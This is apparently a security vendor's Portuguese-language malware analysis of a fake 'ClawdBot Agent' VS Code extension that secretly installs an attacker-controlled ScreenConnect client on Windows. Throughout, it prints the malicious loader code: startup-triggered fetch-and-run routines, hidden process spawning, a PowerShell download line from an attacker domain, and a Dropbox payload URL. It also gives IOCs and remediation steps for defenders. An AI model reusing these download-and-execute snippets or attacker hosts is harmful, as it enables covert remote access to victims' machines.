Em 27 de janeiro de 2026, nosso sistema de detecção de malware sinalizou uma nova extensão do VS Code chamada "ClawdBot Agent" que imediatamente acionou os alarmes. Confirmamos que a extensão é um trojan totalmente funcional: um assistente de codificação de IA que funciona na superfície, enquanto silenciosamente instala malware em máquinas Windows no momento em que o VS Code é iniciado.
O detalhe é: a equipe real do Clawdbot nunca publicou uma extensão oficial para o VS Code. Os atacantes apenas reivindicaram o nome primeiro. Reportamos imediatamente à Microsoft, que agiu muito rapidamente para remover a extensão. Esta publicação documenta nossa investigação sobre a extensão.
O que é o Clawdbot?
Se você esteve por perto do AI X ultimamente, provavelmente viu o Clawdbot mencionado em todo lugar. Tornou-se um daqueles assistentes de IA virais que virou uma sensação viral para se falar. Naturalmente, isso o torna um alvo principal para personificação, e foi exatamente o que aconteceu aqui.
A extensão falsa parece incrivelmente legítima. Ícone profissional, UI polida, integração com sete provedores de IA diferentes (OpenAI, Anthropic, Google, Ollama, Groq, Mistral, OpenRouter). Ela até funciona como anunciado, o que é precisamente o que a torna perigosa.

O Código Malicioso
Vamos ver o que realmente acontece quando você instala esta extensão.
O package.json configura um gatilho imediato:
{
"activationEvents": ["onStartupFinished"]
}
Isso significa que a extensão é executada automaticamente toda vez que o VS Code inicia. Nenhuma interação do usuário é necessária. Agora, é aqui que fica interessante. A activate() função chama initCore() antes de fazer qualquer outra coisa:
function activate(context) {
initCore(context);
// ... legitimate AI assistant code follows
}
E initCore() é onde a mágica acontece:
const CONFIG_URL = 'http://clawdbot.getintwopc[.]site/config.json';
function fetchConfigAndRun() {
http.get(CONFIG_URL, (res) => {
let data = '';
res.on('data', chunk => data += chunk);
res.on('end', () => {
try {
const config = JSON.parse(data);
if (config.enabled) {
downloadAndRun(config.exe, config.dll);
}
} catch (e) {}
});
}).on('error', () => {
runFallbackDownload();
});
}
Vê aquele bloco catch vazio? Isso é intencional. Nenhuma mensagem de erro, nenhum alerta, nada. Se falhar, ele tenta silenciosamente o fallback. Se isso falhar, ninguém fica sabendo.
A Entrega do Payload
É aqui que as coisas ficam interessantes. Nós pegamos o config.json do servidor C2:
{
"enabled": true,
"files": [
"Code.exe",
"DWrite.dll",
"ffmpeg.dll",
"icudtl.dat",
"libEGL.dll",
"msvcp140.dll",
"v8_context_snapshot.bin",
"vcruntime140.dll",
"vcruntime140_1.dll"
],
"version": "1.0"
}
À primeira vista, isso parece um aplicativo Electron trojanizado se passando pelo VS Code. Os nomes dos arquivos se encaixam: Code.exe é o nome do executável do VS Code, v8_context_snapshot.bin é um snapshot do motor V8, ffmpeg.dll e libEGL.dll são dependências padrão do Chromium.
Mas então executamos os hashes no VirusTotal. E foi aí que as coisas ficaram interessantes.
Code.exe é sinalizado como ConnectWise ScreenConnect por vários fornecedores de AV:
Code.exe (SHA256: e20b920c7af988aa215c95bbaa365d005dd673544ab7e3577b60fecf11dcdea2)
- Kaspersky: Not-a-virus:RemoteAdmin.MSIL.ConnectWise.a
- K7AntiVirus: RemoteTool ( 005d90a81 )
- Trellix: RAdmin-ConnectWise.bA princípio, pensamos que eram metadados falsos. Mas a análise de comportamento da sandbox revela uma história diferente. Quando executado, Code.exe:
- Instala em
C:\Program Files (x86)\ScreenConnect Client (083e4d30c7ea44f7)\ - Implanta componentes legítimos do ScreenConnect:
ScreenConnect.ClientService.exe,ScreenConnect.WindowsBackstageShell.exe,ScreenConnect.WindowsFileManager.exe - Conecta-se a
meeting.bulletmailer[].net:8041
Este é um software ScreenConnect legítimo. Mas ele foi transformado em arma.
Os atacantes configuraram seu próprio servidor de retransmissão ScreenConnect, geraram um instalador de cliente pré-configurado e o distribuíram através da extensão do VS Code. Quando as vítimas instalam a extensão, elas recebem um cliente ScreenConnect totalmente funcional que imediatamente se conecta à infraestrutura do atacante.
Aqui está a configuração incorporada que extraímos:
<ScreenConnect.ApplicationSettings>
<setting name="ClientLaunchParametersConstraint">
<value>?h=meeting.bulletmailer.net&p=8041&k=BgIAAACkAABSU0Ex...</value>
</setting>
</ScreenConnect.ApplicationSettings>
Isso h=meeting.bulletmailer[.]net&p=8041 é o servidor de retransmissão do atacante. O k= parâmetro é a chave pública RSA para o servidor ScreenConnect deles. A máquina de cada vítima estabelece automaticamente uma sessão de acesso remoto com esta infraestrutura.
Esta é uma técnica conhecida chamada "Bring Your Own ScreenConnect" (ou, às vezes, "ScreenConnect as RMM abuse"). Ferramentas de suporte de TI como ScreenConnect, AnyDesk e TeamViewer estão sendo cada vez mais transformadas em armas dessa forma porque são softwares confiáveis que as ferramentas de segurança geralmente permitem.
E DWrite.dll? Isso fornece um mecanismo redundante de entrega de payload:
DWrite.dll (SHA256: d1e0c26774cb8beabaf64f119652719f673fb530368d5b2166178191ad5fcbea)
- Cynet: Malicioso (pontuação: 100)
- Elastic: Malicioso (Confiança moderada)
- Ikarus: Trojan.Win64.Injector
Este é um ataque de sideloading de DLL como backup. O componente baseado em Rust DWrite.dll pode buscar payloads de forma independente do Dropbox se o C2 primário falhar.
O código de staging deposita tudo em %TEMP%\Lightshot:
const INIT_DIR = path.join(process.env.TEMP, 'Lightshot');Em seguida, executa o payload oculto e desanexado:
spawn(exePath, [], {
detached: true,
stdio: 'ignore',
windowsHide: true
}).unref();
Então, você tem o que parece ser Code.exe sendo executado em seu sistema. Se você é um desenvolvedor, provavelmente já tem o VS Code em execução de qualquer forma. Você notaria? Provavelmente não. E se você investigasse, veria que é um software ScreenConnect legítimo com assinaturas válidas. A parte maliciosa não é o binário em si — é onde esse binário se conecta.
Dentro de DWrite.dll: Um Loader Baseado em Rust
Nós desmontamos DWrite.dll e fica ainda mais interessante.
A DLL é escrita em Rust (você pode ver os caminhos do compilador no binário) e exporta DWriteCreateFactory, a exata mesma função que a biblioteca legítima do Windows DirectWrite exporta. Quando o ScreenConnect carrega e chama esta função, o código malicioso é acionado imediatamente.
Aqui está a cadeia de download-escrita-execução:
// Open internet connection
InternetOpenA(...)
// Fetch payload from URL
InternetOpenUrlA(...)
// Create file in TEMP
CreateFileA(local_path, ...)
// Download loop
while (InternetReadFile(...) && bytes_read != 0) {
WriteFile(local_file, buffer, bytes_read, ...);
}
// Execute the downloaded file
ShellExecuteA(NULL, "open", downloaded_file, ...);E de qual URL ele busca?
https://www.dropbox[.]com/scl/fi/tmwi4j86op04r9qo2xdgh/zoomupdate.msi?rlkey=ymr9yn5p3q2w2l3uz9cg71dvm&st=q93av9p6&dl=1
Um link do Dropbox disfarçado como uma atualização do Zoom. Porque por que se passar por apenas uma aplicação legítima quando você pode se passar por três?
O ponto crucial é: nós baixamos zoomupdate.msi desse link do Dropbox e verificamos o hash. É e20b920c7af988aa215c95bbaa365d005dd673544ab7e3577b60fecf11dcdea2.
Esse é o mesmo hash de Code.exe. É o mesmo MSI malicioso. DWrite.dll é um mecanismo de entrega redundante. Mesmo que a infraestrutura C2 primária seja derrubada, a DLL maliciosa pode buscar independentemente o mesmo payload do Dropbox. Garantia dupla.
O loader também inclui:
- Verificações de temporização anti-análise:
GetSystemTimeAsFileTimee QueryPerformanceCounter para detectar sandboxes - Resolução dinâmica de API:
LoadLibraryAeGetProcAddresspara ocultar importações da análise estática - Verificações de privilégio:
OpenProcessTokencomTOKEN_QUERYpara sondar o ambiente
Redundância, Redundância, Redundância
Os atacantes realmente não queriam que isso falhasse. Eles incorporaram três camadas de entrega de payload:
- Configuração dinâmica: Buscar a lista de arquivos de
clawdbot.getintwopc[.]site/config.json - Fallback de JavaScript: URLs hardcoded se o servidor de configuração estiver inativo
- Fallback de script batch: Um domínio completamente separado em
darkgptprivate[.]com
Aqui está o fallback de JavaScript embutido na extensão:
function runFallbackDownload() {
// Fallback URLs if config server is down
const fallbackExe = 'http://clawdbot.getintwopc.site/dl/Lightshot.exe';
const fallbackDll = 'http://clawdbot.getintwopc.site/dl/Lightshot.dll';
downloadAndRun(fallbackExe, fallbackDll);
}
E o script batch em scripts/run.bat fornece ainda outro caminho:
set "U=https://darkgptprivate.com/d111"
powershell -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; (New-Object Net.WebClient).DownloadFile('%U%\/Lightshot.exe','%D%\Lightshot.exe')"Percebe algo interessante? Os fallbacks hardcoded ainda fazem referência a Lightshot.exe e Lightshot.dll, enquanto o ao vivo config.json aponta para o bundle Electron com Code.exe. Isso sugere que os atacantes provavelmente evoluíram seu payload ao longo do tempo, atualizando de um simples dropper disfarçado de Lightshot para um impersonator de VS Code mais sofisticado, enquanto mantinham o código de fallback antigo.
Se o C2 primário cair, eles têm um backup. Se o Node.js falhar, eles têm o PowerShell. Se o primeiro domínio for derrubado, há um segundo esperando. Esses indivíduos fizeram o dever de casa.
A Infraestrutura
Rastreamos ambos os domínios:
clawdbot.getintwopc[.]site está por trás do Cloudflare, tornando mais difícil encontrar o servidor real. Os logs de transparência de certificado mostram que o domínio pai getintwopc[.]site está ativo desde pelo menos março de 2025.
darkgptprivate[.]com é mais interessante. Ele resolve para 178.16.54[.]253, hospedado pela Omegatech LTD nas Seychelles. O certificado foi emitido em 10 de janeiro de 2026, poucas semanas antes de encontrarmos esta amostra. O domínio também possui registros SPF configurados para serviços de retransmissão de e-mail, o que sugere que também pode ser usado para phishing.
Hospedagem offshore nas Seychelles com espaço de IP recentemente alocado? Muito suspeito.
O Que Torna Este Ataque Eficaz
Isso não é algum script kiddie juntando lixo ofuscado. Os atacantes entenderam várias coisas:
- A personificação de marca funciona: Pessoas procurando por "Clawdbot VS Code" encontrarão isso primeiro
- Malware funcional evita suspeitas: Os recursos de IA realmente funcionam, então os usuários não têm motivos para reclamar
- Extensões do VS Code são confiáveis: Elas são executadas com acesso total ao sistema de arquivos e à rede
- A ativação na inicialização é poderosa: Nenhum clique é necessário após a instalação
- Múltiplos fallbacks garantem a entrega: C2 falha? Tente o Dropbox. Node.js falha? Tente o PowerShell.
- RAT legítimo é brilhante: ScreenConnect é um software de TI confiável que as ferramentas de segurança permitem
- Configuração weaponizada é o truque: O binário está limpo; apenas o destino é malicioso
- Camuflagem de processo funciona: A
Code.exeprocesso na máquina de um desenvolvedor não levanta suspeitas - Impersonificação quádrupla: Clawdbot (extensão) → VS Code (nome do payload) → Lightshot (pasta de preparação) → Zoom (nome do payload do Dropbox)
A sobreposição de camadas aqui é impressionante. Há um assistente de IA falso distribuindo software legítimo de acesso remoto configurado para se conectar à infraestrutura do atacante, com um loader de backup baseado em Rust que busca o mesmo payload do Dropbox disfarçado como uma atualização do Zoom, tudo preparado em uma pasta nomeada em homenagem a um aplicativo de captura de tela. Cada camada adiciona confusão para os defensores.
Remediação e Detecção
Se você instalou a extensão "ClawdBot Agent", veja o que fazer:
- Desinstale a extensão imediatamente do VS Code
- Verifique a existência de instalação do ScreenConnect em
C:\Program Files (x86)\ScreenConnect Client (083e4d30c7ea44f7)\e remova-o - Verifique os Serviços do Windows por
ScreenConnect Client (083e4d30c7ea44f7)e desinstale-o - Verificar
%TEMP%\Lightshotpor quaisquer arquivos e exclua a pasta inteira - Abra o Gerenciador de Tarefas e procure por quaisquer
Code.exeou processos do ScreenConnect sendo executados a partir de diretórios temporários ou inesperados - Bloquear
meeting.bulletmailer.nete 179.43.176[.]32no seu firewall- Execute uma varredura completa de antivírus
- Se você inseriu quaisquer chaves de API na extensão, rotacione-as imediatamente (OpenAI, Anthropic, Google, etc.)
- Verifique a existência de tarefas agendadas ou entradas de inicialização que possam reiniciar o payload
- Monitore por conexões de saída para a porta
8041
Indicadores de Comprometimento
IOCs de Rede:
meeting.bulletmailer[.]net:8041(relay do ScreenConnect - C2 primário)179.43.176[.]32(IP do relay do ScreenConnect)clawdbot.getintwopc[.]site(Domínio C2 da extensão)getintwopc[.]site(domínio pai)darkgptprivate[.]com(C2 secundário)178.16.54[.]253(servidor darkgptprivate)https://www.dropbox[.]com/scl/fi/tmwi4j86op04r9qo2xdgh/zoomupdate.msi?rlkey=ymr9yn5p3q2w2l3uz9cg71dvm&st=q93av9p6&dl=1- (
DWrite.dllfonte do payload)
IOCs de Arquivo:
Dropper (Extensão do VS Code):
- extension.js SHA256:
adbcdb613c04fd51936cb0863d2417604db0cd04792ab7cae02526d48944c77b - run.bat SHA256:
04ef48b104d6ebd05ad70f6685ade26c1905495456f52dfe0fb42f550bd43388
Payload (Malicioso):
- Code.exe (instalador ScreenConnect weaponizado):
e20b920c7af988aa215c95bbaa365d005dd673544ab7e3577b60fecf11dcdea2 - DWrite.dll (loader baseado em Rust):
d1e0c26774cb8beabaf64f119652719f673fb530368d5b2166178191ad5fcbea
Proteja seu software agora




